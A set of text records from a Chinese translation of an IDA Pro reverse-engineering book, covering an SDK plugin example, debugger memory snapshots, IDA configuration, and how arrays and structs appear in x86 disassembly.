    {"text": "例如，利用代码清单 16-6 可以开发出以下函数： void idaapi extended_plugin_run(int arg) { func_t *func = get_func(get_screen_ea()); //get function at cursor location msg(\"Local variable size is %d\\n\", func->frsize); msg(\"Saved regs size is %d\\n\", func->frregs); struc_t *frame = get_frame(func); //get pointer to stack frame if (frame) { size_t ret_addr = func->frsize + func->frregs; //offset to return address for (size_t m = 0; m < frame->memqty; m++) { //loop through members char fname[1024]; get_member_name(frame->members[m].id, fname, sizeof(fname)); if (frame->members[m].soff < func->frsize) { msg(\"Local variable \"); } else if (frame->members[m].soff > ret_addr) { msg(\"Parameter \"); } msg(\"%s is at frame offset %x\\n\", fname, frame->members[m].soff); if (frame->members[m].soff == ret_addr) { msg(\"%s is the saved return address\\n\", fname); } } } } 使用这个函数，现在我们有了插件的核心组件，每次你激活这个插件时，它将存储与当前选定的函数有关的栈帧信息。"},
    {"text": "未知 第20章 编译器变体 现在，如果你已经掌握了前面的内容，你就拥有了高效使用 IDA 的基本技巧，更重要的是，能让 IDA 为你工作。作为初学者，下一步该学习如何适应二进制文件（而非IDA ）将扔给你的“忍者星”飞镖了。根据你分析汇编语言的动机，你要么对你分析的代码非常熟悉，要么对它一无所知。如果你碰巧花费了大量时间研究在Linux平台上使用 gcc 编译的代码，那么，你可能非常熟悉它生成的代码的风格。另一方面，如果有人给你一个使用Microsoft Visual C++（VC++）编译的调试版程序，那么，对于你看到的代码，你会感到十分困惑。恶意软件分析人员尤其会遇到各种类型的代码。即使暂时将与模糊相关的主题放在一边，恶意软件分析人员还是很可能会在同一天下午看到使用 Visual Basic、Delphi、Visual C/C++等其他语言创建的代码。 在这一章中，我们将简要讨论 IDA 中各种编译器的不同之处。这样做的目的不是为了研究编译器为何存在差异，而是为了揭示这些差异如何在反汇编代码清单中表现出来，以及如何解析这些差异。此外，用于构建特定软件的编译器及相关选项构成了分析该软件作者的一个数据点。 虽然存在大量使用各种语言的编译器，但是，在本章的示例中，我们主要使用已编译C 代码，因为各种平台的 C 编译器很常见。"},
    {"text": "未知 目录 版权声明 献词 对上一版的赞誉 致谢 前言 第一部分 IDA简介 第1章 反汇编简介 1.1 反汇编理论 1.2 何为反汇编 1.3 为何反汇编 1.4 如何反汇编 1.5 小结 第2章 逆向与反汇编工具 2.1 分类工具 2.2 摘要工具 2.3 深度检测工具 2.4 小结 第3章 IDA Pro 背景知识 3.1 Hex-Rays公司的反盗版策略 3.2 获取IDA Pro 3.3 IDA 支持资源 3.4 安装IDA 3.5 IDA 用户界面 3.6 小结 第二部分 IDA基本用法 第4章 IDA入门 4.1 启动IDA 4.2 IDA 数据库文件 4.3 IDA 桌面简介 4.4 初始分析时的桌面行为 4.5 IDA 桌面提示和技巧 4.6 报告bug 4.7 小结 第5章 IDA 数据显示窗口 5.1 IDA 主要的数据显示窗口 5.2 次要的IDA 显示窗口 5.3 其他IDA 显示窗口 5.4 小结 第6章 反汇编导航 6.1 基本IDA 导航 6.2 栈帧 6.3 搜索数据库 6.4 小结 第7章 反汇编操作 7.1 名称与命名 7.2 IDA 中的注释 7.3 基本代码转换 7.4 基本数据转换 7.5 小结 第8章 数据类型与数据结构 8.1 识别数据结构的用法 8.2 创建IDA 结构体 8.3 使用结构体模板 8.4 导入新的结构体 8.5 使用标准结构体 8.6 IDA TIL 文件 8.7 C++ 逆向工程基础 8.8 小结 第9章 交叉引用与绘图功能 9.1 交叉引用 9.2 IDA 绘图 9.3 小结 第10章 IDA的多种面孔 10.1 控制台模式IDA 10.2 使用IDA 的批量模式 10.3 小结 第三部分 IDA高级应用 第11章 定制IDA 11.1 配置文件 11.2 其他IDA 配置选项 11.3 小结 第12章 使用FLIRT 签名来识别库 12.1 快速库识别和鉴定技术 12.2 应用FLIRT 签名 12.3 创建FLIRT 签名文件 12.4 小结 第13章 扩展IDA 的知识 13.1 扩充函数信息 13.2 使用loadint 扩充预定义注释 13.3 小结 第14章 修补二进制文件及其他IDA 限制 14.1 隐藏的补丁程序菜单 14.2 IDA 输出文件与补丁生成 14.3 小结 第四部分 扩展IDA的功能 第15章 编写IDA 脚本 15.1 执行脚本的基础知识 15.2 IDC 语言 15.3 关联IDC 脚本与热键 15.4 有用的IDC 函数 15.5 IDC 脚本示例 15.6 IDAPython 15.7 IDAPython 脚本示例 15.8 小结 第16章 IDA 软件开发工具包 16.1 SDK简介 16.2 IDA 应用编程接口 16.3 小结 第17章 IDA 插件体系结构 17.1 编写插件 17.2 构建插件 17.3 插件安装 17.4 插件配置 17.5 扩展IDC 17.6 插件用户界面选项 17.7 脚本化插件 17.8 小结 第18章 二进制文件与 IDA 加载器模块 18.1 未知文件分析 18.2 手动加载一个Windows PE文件 18.3 IDA 加载器模块 18.4 使用SDK编写IDA 加载器 18.5 其他加载器策略 18.6 编写脚本化加载器 18.7 小结 第19章 IDA 处理器模块 19.1 Python字节码 19.2 Python解释器 19.3 使用SDK编写处理器模块 19.4 构建处理器模块 19.5 定制现有的处理器 19.6 处理器模块体系结构 19.7 编写处理器模块 19.8 小结 第五部分 实际应用 第20章 编译器变体 20.1 跳转表与分支语句 20.2 RTTI实现 20.3 定位main函数 20.4 调试版与发行版二进制文件 20.5 其他调用约定 20.6 小结 第21章 模糊代码分析 21.1 反静态分析技巧 21.2 反动态分析技巧 21.3 使用IDA 对二进制文件进行“静态去模糊” 21.4 基于虚拟机的模糊 21.5 小结 第22章 漏洞分析 22.1 使用IDA 发现新的漏洞 22.2 使用IDA 在事后发现漏洞 22.3 IDA 与破解程序开发过程 22.4 分析shellcode 22.5 小结 第23章 实用IDA 插件 23.1 Hex-Rays 23.2 IDAPython 23.3 collabREate 23.4 ida-x86emu 23.5 Class Informer 23.6 MyNav 23.7 IdaPdf 23.8 小结 第六部分 IDA调试器 第24章 IDA 调试器 24.1 启动调试器 24.2 调试器的基本显示 24.3 进程控制 24.4 调试器任务自动化 24.5 小结 第25章 反汇编器/ 调试器集成 25.1 背景知识 25.2 IDA 数据库与IDA 调试器 25.3 调试模糊代码 25.4 IDAStealth 25.5 处理异常 25.6 小结 第26章 其他调试功能 26.1 使用IDA 进行远程调试 26.2 使用Bochs 进行调试 26.3 Appcall 26.4 小结 附录A 使用IDA 免费版本5.0 A.1 IDA 免费版本的限制 A.2 使用IDA 免费版本 附录B IDC/SDK交叉引用"},
    {"text": "未知 25.2 IDA 数据库与IDA 调试器 首先，我们需要了解，当你启动（和终止）一个调试器会话时，调试器如何处理数据库。调试器需要使用一个进程映像。通常，调试器通过依附一个现有的进程，或由可执行文件创建新的进程，从而获得进程映像。IDA 数据库并不包含有效的进程映像，多数情况下，你也不可能由一个数据库重建一个有效的进程映像（如果你可以，使用 File▶Produce File▶Create EXE File 命令即可）。当你在 IDA 中启动一个调试器会话时，反汇编器会告知调试器初始输入文件的名称，调试器再使用这个文件创建并依附于一个新的进程。反汇编器提供给调试器的信息反汇编器格式化、符号名、数据格式化以及任何你输入到数据库中的注释。重要的是，你对数据库进行的任何修补（字节内容的变化）都不会在被调试的进程中反映出来。换言之，即使你对数据库进行了修补，也不能在启动调试器时观察到这些修补产生的效果。 反之也是如此。当你调试完一个进程并返回反汇编模式时，默认情况下，数据库反映出来的仅有的变化全都属于表面上的变化（如重命名变量或函数）。任何内存变化（如自修改代码），都不会在数据库中反映出来，使你能够对其分析。如果你希望将所有新近经过去模糊处理的代码从调试器移回到反汇编数据库中，可以使用 IDA 的Debugger ▶Take Memory Snapshot（拍摄内存快照）命令来实现。它生成的确认对话框如图 25-1 所示。 图25-1 内存快照确认对话框 默认选项是将加载器段由正在运行的进程复制到数据库中。 加载器段 （loader segment）是指那些由IDA 的一个加载器模块加载到数据库中的段。在模糊程序中，一个或几个这样的段可能包含一些已经被模糊处理，因而几乎不可能在反汇编器中分析的数据。这些段恰恰是你想要从正在运行的进程映像中复制的段，用来利用在调试器控制下该进程执行的去模糊工作。 单击All segments按钮，则调试器创建的所有段都被复制到数据库中。这些段包括为支持该进程而加载的所有共享库的内容，以及其他进程相关的段，如栈内容和堆内容。 如果调试器被用于依附一个没有相关数据库的现有进程，那么将没有任何调试器段被标记为加载器段，因为该文件并不是由IDA 的加载器加载的。这时，你可以选择将所有可用的段捕获到一个新的数据库中。此外，你也可以选择编辑段属性，并且将一个或几个段指定为加载器段。要编辑段属性，你首先需要打开 Segments 窗口（View▶Open Subviews▶ Segments）。任何标记为加载器段的段将包含 Program Segmentation窗口中L 列中的 L 右击一个感兴趣的段，并在出现的菜单中选择 Edit Segment，这时生成的段属性对话框如图 25-2 所示。 图25-2 具有 Loader segment 复选框的段编辑对话框 选择Loader segment复选框会将一个段标记为加载器段，并将它和所有其他加载器段一起复制到数据库中。 当你已从打开的数据库创建了进程，并希望在拍摄内存快照之前添加其他加载器段时，“段属性”对话框也非常有用。例如，如果模糊进程将原始代码提取到位于堆中的内存块（或内存映射的块）中，你会希望在拍摄内存快照前将该内存块标记为加载器段，否则，去模糊代码将不会被复制到数据库中。"},
    {"text": "未知 11.2 其他IDA 配置选项 IDA 拥有大量必须通过用户界面配置的其他选项。格式化反汇编行的选项已经在第7 章中讨论。其他 IDA 选项通过Options菜单访问。多数情况下，你修改的任何选项仅适用于当前打开的数据库。关闭数据库后，这些选项的值将存储在相关的数据库文件中。IDA 的颜色（Options▶Colors ）和字体（Options▶Font ）是两个例外，因为它们属于全局选项，一旦设置，将适用于IDA 将来的所有会话。Windows 版本IDA 的选项值保存在 Windows 注册表的HKEY_CURRENT_USER\\Software\\Hex-Rays\\IDA注册表项中。至于非 Windows 版本的IDA ，这些值保存在根目录的一个名为$HOME/.idapro/ida.cfd 的专有文件中。 另一项注册表设置与对话框有关，针对这些对话框，你选择了 Do not display this dialog box again（不再显示该对话框）选项。有时候，这个消息以复选框的形式出现在一些消息对话框（你将来不希望见到它们）的右下角。如果你选择这个选项，IDA 将在HKEY_CURRENT_USER\\ Software\\Hex-Rays\\IDA\\Hidden Messages 注册表项下创建一个注册表值。不久以后，如果你想要再次显示隐藏的对话框，就需要删除这个注册表项下对应的值。 11.2.1 IDA 颜色 在IDA 窗口中，几乎每一个项目的颜色都可以通过Options▶Colors 对话框进行定制，如 图11-1 所示。 图11-1 颜色选择对话框 Disassembly选项卡控制反汇编窗口中每个反汇编行的不同部分所使用的颜色。上面的窗口列出了可以在反汇编窗口中显示的每一种文本类型（➊）。选择窗口中的一个项目，➋ 处将列出该项目的类型。使用 Change Color 按钮，可以给任何项目分配颜色。 颜色选择对话框中的选项卡可用于为导航栏、调试器、文本反汇编视图左侧的跳转箭头、以及图形视图中的各种组件分配颜色。具体来说，Graph选项卡控制图形节点、标题栏、连接每个节点的边的颜色，而 Disassembly选项卡则控制图形视图中反汇编文本的颜色，Misc 选项卡用于定制IDA 消息窗口的颜色。 11.2.2 定制IDA 工具栏 除了菜单和热键外，GUI 版本的 IDA 还提供大量的工具栏按钮，它们主要分布在 IDA 的20多个工具栏上。通常，工具栏位于 IDA 菜单栏下面的主工具栏区域。用户可以通过View▶Toolbars（查看▶工具栏）菜单访问两种预定义的工具栏模式：基本模式（该模式启用 7 个IDA 工具栏）和高级模式（该模式启用每一个 IDA 工具栏）。根据你的个人需要，你可以分离、拖动和重新定位每个工具栏，将其放置到屏幕的任何位置。如果不需要某个工具栏，你可以使用 ViewToolbars菜单将其从窗口中完全删除，如图 11-2 所示。 图11-2 工具栏配置菜单 右击IDA 窗口中工具栏右边的空白区域，这个菜单也会出现。关闭主工具栏，所有的工具栏将从窗口中消失。如果你需要为反汇编窗口提供最大的屏幕空间，就可以选择这个选项。你对工具栏布局所做的任何更改将保存在当前数据库中。如果这时打开另一个数据库，工具栏将恢复上一次保存这个数据库时的布局。如果你打开一个新的二进制文件，以创建一个新数据库，这时工具栏将恢复到 IDA 当前的默认工具栏设置。 如果你选定了一种你喜欢的工具栏布局，并且希望将其作为默认设置，那么，你应该使用Windows▶Save Desktop将当前的桌面布局保存为默认桌面，这个命令打开如图11-3 所示的对话框。 图11-3 Save disassembly desktop 对话框 每次保存桌面配置时，IDA 会要求你为这种配置提供一个名称。如果选择 Default 复选框，当前的桌面布局将成为所有新数据库以及你复原的桌面（如果你选择 Windows▶Reset desktop）的默认布局。要将窗口恢复到你定制的一个桌面，请选择 Windows▶Load Desktop ，并选择你想要加载的布局。在使用各种不同尺寸和/ 或分辨率的显示器时，保存和恢复桌面特别有用，使用不同扩展坞或连接到投影仪以播放演示文稿的笔记本电脑时，经常会遇到这种情况。"},
    {"text": "未知 8.1 识别数据结构的用法 虽然基本数据类型通常能够与 CPU 寄存器或指令操作数的大小很自然地适应，但是，要访问复合数据类型（如数组和结构体）所包含的各数据项，则需要更加复杂的指令序列。"},
    {"text": "使用C 语句，以下数组： int array_demo[100]; 所占用的最小字节的计算方法为： int bytes = 100 * sizeof(int); 各数组元素通过索引值进行访问，这个索引值可能是变量或常量，如下面这些数组引用所示： ➊ array_demo[20] = 15; //fixed index into the array for (int i = 0; i < 100; i++) { ➋ array_demo[i] = i; //varying index into the array } 在上面的例子中，假如 sizeof(int) 为4 字节，那么，➊处的第一个数组访问，访问的是数组中第80 字节位置的整数值；"},
    {"text": "以下面这个简单的程序为例，它同时使用固定偏移量和可变偏移量访问一个全局数组： int global_array[3]; int main() { int idx = 2; global_array[0] = 10; global_array[1] = 20; global_array[2] = 30; global_array[idx] = 40; } 这个程序的反汇编代码清单为： .text:00401000 _main proc near .text:00401000 .text:00401000 idx = dword ptr -4 .text:00401000 .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 push ecx .text:00401004 mov [ebp+idx], 2 .text:0040100B ➊ mov dword_40B720, 10 .text:00401015 ➋ mov dword_40B724, 20 .text:0040101F ➌ mov dword_40B728, 30 .text:00401029 mov eax, [ebp+idx] .text:0040102C ➍ mov dword_40B720[eax*4], 40 .text:00401037 xor eax, eax .text:00401039 mov esp, ebp .text:0040103B pop ebp .text:0040103C retn .text:0040103C _main endp 尽管这个程序只有一个全局变量，但➊ 、➋和➌处的反汇编行似乎表明，它使用了 3 个全局变量。"},
    {"text": "在编译过程中，编译器使用了固定索引（0 、1 、2 ）来计算数组中对应元素的具体地址（ 0040B720 、 0040B724 和 0040B728 ），它们使用➊、➋和➌处的全局变量来引用。"},
    {"text": "使用上一章讨论的 IDA 数组104 第8 章 数据类型与数据结构格式化操作（Edit ▶Array命令），可将 dword_40B720 转换成一个三元素数组，从而得到下面的反汇编行。"},
    {"text": "注意，这种特殊的格式化体现了数组中偏移量的使用： .text:0040100B mov dword_40B720, 10 .text:00401015 mov dword_40B720+4, 20 .text:0040101F mov dword_40B720+8, 30 在这个例子中，有两点需要注意。"},
    {"text": "第二，使用可变索引值将带领我们来到数组的开头，因为在计算要访问的数组元素的具体地址时，我们需要用数组的基址加上相应的偏移量，这时基址即呈现出来（如➍处所示）。"},
    {"text": "以下面这个使用一个小型栈分配的数组的程序为例： int main() { int stack_array[3]; int idx = 2; stack_array[0] = 10; stack_array[1] = 20; stack_array[2] = 30; stack_array[idx] = 40; } 在编译时， stack_array 的地址未知，因此，编译器无法像在前面的全局数组例子中一样，预先计算出 stack_array[1] 的地址。 通过分析这个函数的反汇编代码清单，我们了解到编译器如何访问栈分配的数组： .text:00401000 _main proc near .text:00401000 .text:00401000 var_10 = dword ptr -10h .text:00401000 var_C = dword ptr -0Ch .text:00401000 var_8 = dword ptr -8 .text:00401000 idx = dword ptr -4 .text:00401000 .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 sub esp, 10h .text:00401006 mov [ebp+idx], 2 .text:0040100D ➊ mov [ebp+var_10], 10 .text:00401014 ➋ mov [ebp+var_C], 20 .text:0040101B ➌ mov [ebp+var_8], 30 .text:00401022 mov eax, [ebp+idx] .text:00401025 ➍ mov [ebp+eax*4+var_10], 40 .text:0040102D xor eax, eax .text:0040102F mov esp, ebp .text:00401031 pop ebp .text:00401032 retn .text:00401032 _main endp 和全局数组例子一样，这个函数似乎也使用了 3 个变量（ var_10 、 var_C 和 var_8 ），而不是一个包含3 个整数的数组。 根据➊、➋和➌处使用的常量，我们得知，函数似乎引用的是局部变量，但实际上它引用的是 stack_array 数组的3 个元素，该数组的第一个元素位于 var_10 （内存地址最低的局部变量）所在的位置。 为理解编译器如何引用数组中的其他元素，首先看编译器如何引用 stack_array[1] ，它在数组中的4 字节位置，或者在 var_10 之后的4 字节位置。"},
    {"text": "在栈帧里，编译器选择分配ebp-0x10 处的 stack_array 。 编译器知道， stack_array[1] 的地址为 ebp–0x10+4 （可简化为 ebp–0x0C ）。"},
    {"text": "如果你是一名破解程序开发人员，这些信息可能极其有用，据此可以确定，要使该数组溢出，并破坏其后的数据，到底需要在数组中填充多少数据。"},
    {"text": "3. 堆分配的数组 堆分配的数组是使用一个动态内存分配函数（如 C 中的 mallo c或C++ 中的 new ）分配的。 从编译器的角度讲，处理堆分配的数组的主要区别在于，它必须根据内存分配函数返回的地址值，生成对数组的所有引用。"},
    {"text": "为方便比较，我们以下面这个函数为例，它在程序堆中分配了一个小型数组： int main() { int *heap_array = (int*)malloc(3 * sizeof(int)); int idx = 2; heap_array[0] = 10; heap_array[1] = 20; heap_array[2] = 30; heap_array[idx] = 40; } 通过研究下面的反汇编代码清单，我们发现它与前面两个代码段的一些相似之处和不同之处： .text:00401000 _main proc near .text:00401000 .text:00401000 heap_array = dword ptr -8 .text:00401000 idx = dword ptr -4 .text:00401000 .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 sub esp, 8 .text:00401006 ➎ push 0Ch ; size_t .text:00401008 call _malloc .text:0040100D add esp, 4 .text:00401010 mov [ebp+heap_array], eax .text:00401013 mov [ebp+idx], 2 .text:0040101A mov eax, [ebp+heap_array] .text:0040101D ➊ mov dword ptr [eax], 10 .text:00401023 mov ecx, [ebp+heap_array] .text:00401026 ➋ mov dword ptr [ecx+4], 20 .text:0040102D mov edx, [ebp+heap_array] .text:00401030 ➌ mov dword ptr [edx+8], 30 .text:00401037 mov eax, [ebp+idx] .text:0040103A mov ecx, [ebp+heap_array] .text:0040103D ➍ mov dword ptr [ecx+eax*4], 40 .text:00401044 xor eax, eax .text:00401046 mov esp, ebp .text:00401048 pop ebp .text:00401049 retn .text:00401049 _main endp 数组的起始地址（由 EAX寄存器中的 malloc 返回）存储在局部变量 heap_array 中。"},
    {"text": "这个例子与前面两个例子不同，每一次访问数组时，首先必须读取 heap_array 的内容，以获得数组的基址，然后再在它上面加上一个偏移值，计算出数组中对应元素的地址。"},
    {"text": "引用 heap_array[0] 、 heap_array[1] 和 heap_array[2] 需要的偏移量分别为 0、4 和8 字节，如➊、➋和➌处所示。 引用 heap_array[idx] ➍处的操作与前面的例子最为相似，它在数组中的偏移量通过将数组索引与数组元素大小相乘计算得出。"},
    {"text": "对堆分配的数组而言，传递给内存分配函数的参数（ 0x0C 在➎处传递给了 malloc ）即表示分配给数组的字节总数，用这个数除以元素大小（本例为4 字节，如➊、➋和➌处的偏移量所示），即可得到数组中元素的个数。"},
    {"text": "要访问数组中的元素，首先需要用索引乘以数组元素的大小，计算出相应元素的偏移量，然后将得到的偏移量与数组的基址相加，得到数组元素的访问地址。"},
    {"text": "遗憾的是，如我们在下一节所述，在使用常量索引值访问数组元素时，它们很少能够证明数组的存在，并且看起来与用于访问结构体成员的代码非常类似。"},
    {"text": "下面的结构体定义将用在随后的例子中： struct ch8_struct { //Size Minimum offset Default offset int field1; // 4 0 0 short field2; // 2 4 4 char field3; // 1 6 6 int field4; // 4 7 8 double field5; // 8 11 16 }; //Minimum total size: 19 Default size: 24 分配结构体所需的最小空间，由分配结构体中的字段所需的空间总和决定。"},
    {"text": "Microsoft Visual C/C++ 和GNU gcc/g++ 都将 pack 杂注（pragma）视为控制结构体字段对齐的一种方法。 同时，GNU编译器还使用 packed 属性来控制结构体对齐（在每个结构体的基础上）。"},
    {"text": "为了进行比较，要注意，和数组一样，结构体成员的访问是通过将结构体的基址加上将要访问的成员的偏移量来实现的。 然而，虽然数组元素的偏移量可在运行时由提供的索引值计算出来（因为每个数组元素的大小相同），但结构体成员的偏移量必须预先计算出来，作为固定偏移量出现在编译代码中，因而看起来与使用常量索引的数组引用几乎完全相同。"},
    {"text": "以下面这个访问全局分配的结构体的程序为例： struct ch8_struct global_struct; int main() { global_struct.field1 = 10; global_struct.field2 = 20; global_struct.field3 = 30; global_struct.field4 = 40; global_struct.field5 = 50.0; } 如果使用默认的结构体对齐选项编译这个程序，在反汇编时，我们可能会得到下面的代码清单： .text:00401000 _main proc near .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 mov dword_40EA60, 10 .text:0040100D mov word_40EA64, 20 .text:00401016 mov byte_40EA66, 30 .text:0040101D mov dword_40EA68, 40 .text:00401027 fld ds:dbl_40B128 .text:0040102D fstp dbl_40EA70 .text:00401033 xor eax, eax .text:00401035 pop ebp .text:00401036 retn .text:00401036 _main endp 可以看到，在这个反汇编代码清单中，访问结构体成员不需要任何算术计算，如果没有源代码，你根本无法断定这个程序使用了结构体。"},
    {"text": "对前面的程序进行修改，使其使用一个栈分配的结构体，并在 main 中进行声明，可得到下面的反汇编代码清单： .text:00401000 _main proc near .text:00401000 .text:00401000 var_18 = dword ptr -18h .text:00401000 var_14 = word ptr -14h .text:00401000 var_12 = byte ptr -12h .text:00401000 var_10 = dword ptr -10h .text:00401000 var_8 = qword ptr -8 .text:00401000 .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 sub esp, 18h .text:00401006 mov [ebp+var_18], 10 .text:0040100D mov [ebp+var_14], 20 .text:00401013 mov [ebp+var_12], 30 .text:00401017 mov [ebp+var_10], 40 .text:0040101E fld ds:dbl_40B128 .text:00401024 fstp [ebp+var_8] .text:00401027 xor eax, eax .text:00401029 mov esp, ebp .text:0040102B pop ebp .text:0040102C retn .text:0040102C _main endp 同样，访问结构体中的字段不需要进行任何算术计算，因为在编译时，编译器能够确定栈帧内每个字段的相对偏移量。"},
    {"text": "对于全局分配的结构体，编译器能够计算出一个固定的起始地址。 对于栈分配的结构体，编译器能够计算出结构体起始位置与相关栈帧的帧指针之间的固定关系。 如果一个结构体在堆中分配，那么对编译器来说，引用该结构体的唯一线索就是指向该结构体起始地址的指针。"},
    {"text": "与8.1.1节的第3 小节的堆分配的数组示例一样，我们在 main中声明一个指针，并给它分配足够的内存块，以保存我们的结构体： .text:00401000 _main proc near .text:00401000 .text:00401000 heap_struct = dword ptr -4 .text:00401000 .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 push ecx .text:00401004 ➏ push 24 ; size_t .text:00401006 call _malloc .text:0040100B add esp, 4 .text:0040100E mov [ebp+heap_struct], eax .text:00401011 mov eax, [ebp+heap_struct] .text:00401014 ➊ mov dword ptr [eax], 10 .text:0040101A mov ecx, [ebp+heap_struct] .text:0040101D ➋ mov word ptr [ecx+4], 20 .text:00401023 mov edx, [ebp+heap_struct] .text:00401026 ➌ mov byte ptr [edx+6], 30 .text:0040102A mov eax, [ebp+heap_struct] .text:0040102D ➍ mov dword ptr [eax+8], 40 .text:00401034 mov ecx, [ebp+heap_struct] .text:00401037 fld ds:dbl_40B128 .text:0040103D ➎ fstp qword ptr [ecx+10h] .text:00401040 xor eax, eax .text:00401042 mov esp, ebp .text:00401044 pop ebp .text:00401045 retn .text:00401045 _main endp 在这个例子中，与全局和栈分配的结构体示例不同，我们能够辨别出结构体的实际大小和布局。"},
    {"text": "该结构体包含以下字段： 一个4 字节字段（ dword ），偏移量为 0（➊）； 一个2 字节字段（ word ），偏移量为 4（➋）； 一个1 字节字段，偏移量为 6（➌）； 一个4 字节字段（ dword ），偏移量为 8（➍）； 一个8 字节字段（ qword ），偏移量为 16 （10h）（➎）。"},
    {"text": "如果要求结构体进行 1 字节对齐，对其进行压缩，则该程序的反汇编代码清单为： .text:00401000 _main proc near .text:00401000 .text:00401000 heap_struct = dword ptr -4 .text:00401000 .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 push ecx .text:00401004 push 19 ; size_t .text:00401006 call _malloc .text:0040100B add esp, 4 .text:0040100E mov [ebp+heap_struct], eax .text:00401011 mov eax, [ebp+heap_struct] .text:00401014 mov dword ptr [eax], 10 .text:0040101A mov ecx, [ebp+heap_struct] .text:0040101D mov word ptr [ecx+4], 20 .text:00401023 mov edx, [ebp+heap_struct] .text:00401026 mov byte ptr [edx+6], 30 .text:0040102A mov eax, [ebp+heap_struct] .text:0040102D mov dword ptr [eax+7], 40 .text:00401034 mov ecx, [ebp+heap_struct] .text:00401037 fld ds:dbl_40B128 .text:0040103D fstp qword ptr [ecx+0Bh] .text:00401040 xor eax, eax .text:00401042 mov esp, ebp .text:00401044 pop ebp .text:00401045 retn .text:00401045 _main endp 这时，这个程序的唯一不同在于，结构体变得更小（现在只有19 个字节），偏移量有所调整，因为每个结构体字段进行了重新对齐。"},
    {"text": "以下面的这个程序为例，它是一个结构体数组，其中的 heap_struct 指向一个包含 5 个 ch8_struct 元素的数组： int main() { int idx = 1; struct ch8_struct *heap_struct; heap_struct = (struct ch8_struct*)malloc(sizeof(struct ch8_struct) * 5); ➊ heap_struct[idx].field1 = 10; } 访问➊处的 field1 所需的操作包括：用索引值乘以数组元素的大小（这里为结构体的大小），然后加上 field1 这个字段的偏移量。"},
    {"text": "下面是对应的反汇编代码清单： .text:00401000 _main proc near .text:00401000 .text:00401000 idx = dword ptr -8 .text:00401000 heap_struct = dword ptr -4 .text:00401000 .text:00401000 push ebp .text:00401001 mov ebp, esp .text:00401003 sub esp, 8 .text:00401006 mov [ebp+idx], 1 .text:0040100D ➋ push 120 ; size_t .text:0040100F call _malloc .text:00401014 add esp, 4 .text:00401017 mov [ebp+heap_struct], eax .text:0040101A mov eax, [ebp+idx] .text:0040101D ➌ imul eax, 24 .text:00401020 mov ecx, [ebp+heap_struct] .text:00401023 ➍ mov dword ptr [ecx+eax], 10 .text:0040102A xor eax, eax .text:0040102C mov esp, ebp .text:0040102E pop ebp .text:0040102F retn .text:0040102F _main endp 从代码清单中可以看出：堆请求了 120 个字节（➋），数组索引乘以 24 （➌），然后加上数组的起始地址（➍ ）。"},
    {"text": "未知 23.6 MyNav 尽管从严格意义上讲，Joxean Koret开发的名为 MyNav的Python 脚本（参见表 23-6 ）并非一个插件，但确实是一个有用的 IDA 扩展。MyNav非常有用，在 Hex-Rays 2010年的插件编写竞赛中获得了一等奖。 1 加载二进制文件并完成初步自动分析后，你应当启动mynav.py 脚本。启动MyNav后，它会在 IDA 的Edit ▶Plugins 菜单中添加 20 个新的菜单项，以便于你利用各种新功能。 1. 参见 http://www.hex-rays.com/contest2010/#mynav 。 表23-6 MyNav 名称 MyNav 作者 Joxean Koret 发布 Python脚本 价格 免费 描述 调试器跟踪和代码查找工具 信息 http://code.google.com/p/mynav/ MyNav添加的功能包括一个函数级（与基本的块级相反）图形浏览器（受 Zynamics 的BinNavi启发而开发）、其他图形功能（如显示任意两个函数间的代码路径），以及许多旨在增强 IDA 的调试功能的特性。 在调试方面，MyNav会记录有关调试会话的信息，并允许你使用一个调试会话的结果来过滤随后的会话。在任何调试会话结束后，MyNav会显示一个图形，仅在其中突出显示那些在会话过程中执行的函数。使用 MyNav提供的功能，你可以快速缩小负责程序特定操作的函数集的范围。例如，如果你对负责启动网络连接并下载某些内容的函数感兴趣，可以创建一个执行除启动网络连接以外的任何操作的会话，然后再执行另一个会话，并在其中创建一个网络连接。排除在第一个调试会话中执行的所有函数后，MyNav最终生成的图形将包含与那些负责启动网络连接的函数有关的信息。如果你试图了解那些具有庞大二进制代码的函数，这项功能会非常有用。 有关MyNav功能的详细讨论，请参阅 Joxean 的博客 2 ，你将在那里找到大量介绍 MyNav功能的视频。 2. 参见 http://www.joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/ 。 未知 20.6 小结 特定于编译器的行为的数量非常庞大，仅仅一章内容（甚至相关主题的一本书）并不足以完全介绍所有行为。除其他行为差异外，编译器还选择不同的算法来实现各种高级结构，并选择不同的方式来优化生成的代码。在很大程度上，编译器的行为取决于在构建过程中传递给它的参数，因此，使用相同的源代码但采用不同的构建选项，一个编译器可能会生成截然不同的二进制文件。要学会如何处理所有这些不同的变体，你需要不断积累经验。使问题更加复杂的是，关于特定的汇编语言结构，你很难搜索到相关帮助，因为要想构建一个搜索表达式，生成符合你的特殊要求的结果，可能会非常困难。通常，遇到这种情况时，各种专门讨论逆向工程的论坛是你可以利用的最佳资源，你可以将相关代码粘贴在这些论坛上，利用那些和你具有相同经历的人的经验。 未知 第16章 IDA 软件开发工具包 在本书中，我们经常使用“IDA 这样做”和“IDA 那样做”之类的短语。虽然IDA确实能够帮助我们做大量工作，但是，确切地说，它的智能要归功于它依赖的各种模块。例如处理器模块，它负责做出分析阶段的各种决策。因此，你可以说，IDA 不过和它所依赖的处理器模块一样聪明。当然，Hex-Rays 付出了巨大的努力，以确保它的处理器模块始终具有强大的功能。对于一般用户而言，IDA 的模块体系结构完全隐藏在它的用户界面之下。 有时候，你可能需要比 IDC 脚本语言更加强大的功能，不管是为了提高性能，还是为了完成IDC 无法完成的任务。这时，你需要使用 IDA 的SDK （软件开发工具包）构建你自己的编译模块，以供 IDA 使用。 说明 IDC脚本引擎以 IDA 的SDK 为基础。所有 IDC 函数最终都需要调用一个或几个 SDK 函数；由后者完成具体的工作。有时你可以用 IDC 完成一项任务，也可以使用 SDK 完成相同的任务，但这句话倒过来说却不一定正确。与 IDC 相比，SDK 的功能更加强大；而且许多SDK 操作都没有对应的 IDC 操作。 SDK以C++ 库和连接这些库所需的头文件的形式呈现 IDA 的内部编程接口。使用 SDK ，你可以创建加载器模块以处理新的文件格式，创建处理器模块以反汇编新的 CPU 指令集，或者创建用于替代脚本的已编译的、更加强大的插件模块。 附加说明 在使用C++ 